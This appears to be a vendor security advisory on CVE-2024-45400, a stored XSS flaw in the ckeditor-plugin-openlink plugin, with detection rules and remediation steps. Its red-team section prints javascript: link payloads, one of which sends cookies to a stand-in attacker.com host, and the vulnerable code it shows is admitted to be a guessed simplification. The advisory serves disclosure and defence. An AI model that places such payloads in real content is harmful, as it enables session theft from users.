CVE-2024-45400

Executive Summary

CVE-2024-45400 is a stored Cross-Site Scripting (XSS) vulnerability in the ckeditor-plugin-openlink plugin for the CKEditor JavaScript text editor. This plugin extends the context menu to allow users to open links in a new tab. The vulnerability, present in versions prior to 1.0.7, allows an attacker to inject arbitrary JavaScript code by crafting a malicious href attribute within a link. When a user interacts with the link via the plugin's context menu, the injected script executes in the context of the user's browser session. The CVSS score is 6.1 (Medium), and while the EPSS score is currently 0.0%, the availability of a public proof-of-concept and the widespread use of CKEditor make this a significant supply chain risk for applications relying on this plugin.

Supply Chain & Package Security

This vulnerability affects the ckeditor-plugin-openlink package, which is distributed via npm. Organizations using CKEditor and this plugin should immediately audit their dependencies. The package is a direct dependency, and the vulnerability is introduced at build time. The fix is available in version 1.0.7, which sanitizes the href attribute. There are no known compromised versions, but the risk of supply chain attacks via malicious npm packages is elevated given the nature of the vulnerability.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) - No special conditions are required.
• Privileges Required (PR): None (N) - No authentication is needed.
• User Interaction (UI): Required (R) - The victim must click on the malicious link via the plugin's context menu.
• Scope (S): Changed (C) - The impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) - Limited data exposure is possible.
• Integrity (I): Low (L) - Limited data modification is possible.
• Availability (A): None (N) - No impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the potential for phishing, session hijacking, and data exfiltration in a rich text editor context makes this a serious concern for web applications.

Deep Dive & Mechanics

The vulnerability resides in how the ckeditor-plugin-openlink plugin processes the href attribute of anchor (<a>) elements. When a user right-clicks a link and selects "Open in new tab" (or similar), the plugin reads the href value and passes it to window.open(). Prior to version 1.0.7, the plugin did not sanitize or validate the href attribute. An attacker can craft a link with a javascript: URI scheme, such as:

<a href="javascript:alert(document.cookie)">Click me</a>

When the victim right-clicks this link and uses the plugin's context menu option, the browser executes the JavaScript code. This is a classic stored XSS attack, as the malicious link can be stored in a database (e.g., in a comment, forum post, or CMS content) and later rendered by CKEditor.

The attack flow:

1. Attacker inserts a link with a javascript: URI into a CKEditor instance.
2. The link is stored in the application's database.
3. A victim views the content, and CKEditor renders the link.
4. The victim right-clicks the link and selects "Open in new tab" via the plugin.
5. The plugin reads the href and calls window.open("javascript:alert(document.cookie)").
6. The browser executes the JavaScript, leading to XSS.

Vulnerable vs. Patched Code

Vulnerable Code (pre-1.0.7): The plugin likely had a function similar to this (simplified):

// Vulnerable: No sanitization
function openLink(href) {
    window.open(href, '_blank');
}

Patched Code (1.0.7): The fix introduces sanitization to ensure only safe protocols (e.g., http:, https:, ftp:) are allowed:

// Patched: Sanitize href
function openLink(href) {
    var safeHref = href;
    // Block javascript: and other dangerous protocols
    if (href && href.match(/^https?:\/\//i)) {
        window.open(safeHref, '_blank');
    } else {
        // Optionally, fallback to a safe default or show an error
        console.warn('Blocked unsafe link: ' + href);
    }
}

The key difference is the addition of a protocol whitelist check. The patched version only opens links that start with http:// or https://, effectively neutralizing javascript: URIs.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A web application using CKEditor with the ckeditor-plugin-openlink plugin (version < 1.0.7).
• Ability to insert content (e.g., comments, posts) that is rendered by CKEditor.

Exploit Steps:

1. Craft a malicious link with a javascript: URI:

   <a href="javascript:alert('XSS')">Click me</a>
   

2. Insert this link into the CKEditor instance (e.g., via the source editor or by directly manipulating the HTML).
3. Save the content.
4. When a victim views the content and right-clicks the link, then selects "Open in new tab" from the context menu, the JavaScript executes.

Advanced Payload (Session Hijacking):

<a href="javascript:fetch('https://attacker.com/steal?cookie='+document.cookie)">Click me</a>

Blue Team (Detection & Prevention)

Detection:

• Monitor for javascript: URIs in user-generated content.
• Use Content Security Policy (CSP) headers to restrict script execution.
• Implement input validation on the server side to reject dangerous URI schemes.

Prevention:

• Immediately upgrade to ckeditor-plugin-openlink version 1.0.7 or later.
• If upgrade is not possible, manually patch the plugin by adding a protocol whitelist.
• Use a Web Application Firewall (WAF) to block requests containing javascript: in link attributes.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to attacker-controlled domains containing ?cookie= or similar parameters.
  • Unusual javascript: URIs in HTTP request bodies or stored content.
• File IOCs:
  • Presence of ckeditor-plugin-openlink version < 1.0.7 in package.json or node_modules.
• Behavioral IOCs:
  • Unexpected window.open() calls with javascript: URIs in browser console logs.
  • User reports of unexpected pop-ups or redirects when interacting with links.

Detection Engineering

YARA Rule

rule CVE_2024_45400_CKEditor_OpenLink_XSS {
    meta:
        description = "Detects vulnerable ckeditor-plugin-openlink versions (< 1.0.7) by checking for missing href sanitization"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-45400"
        hash = "unknown"
    strings:
        $vuln_func = "window.open(href" ascii wide nocase
        $safe_func = "window.open(safeHref" ascii wide nocase
    condition:
        $vuln_func and not $safe_func
}

Sigma Rule

title: CVE-2024-45400 - CKEditor OpenLink XSS Exploitation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2024-45400 by injecting javascript: URIs into link href attributes.
author: Valters IT
date: 2024/10/27
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-45400
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'href=javascript:'
    condition: selection
falsepositives:
    - Legitimate use of javascript: URIs in internal applications (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-45400 - CKEditor OpenLink XSS Exploitation Attempt"; flow:to_server,established; content:"href=javascript:"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update ckeditor-plugin-openlink to version 1.0.7 or later.

   npm install ckeditor-plugin-openlink@1.0.7
   

2. Verify: Check that the plugin is no longer vulnerable by inspecting the source code for the sanitization logic.
3. Audit: Scan your application for any stored content that may contain malicious javascript: URIs.

Long-term Mitigations:

• Implement a Content Security Policy (CSP) that restricts script execution.
• Use server-side input validation to reject dangerous URI schemes.
• Regularly update all CKEditor plugins and dependencies.
• Monitor for similar vulnerabilities in other CKEditor plugins.

Workaround (if upgrade is not possible):

• Manually patch the plugin by adding a protocol whitelist in the openLink function.
• Disable the plugin entirely if it is not critical.

Valters IT
Securing Digital Frontiers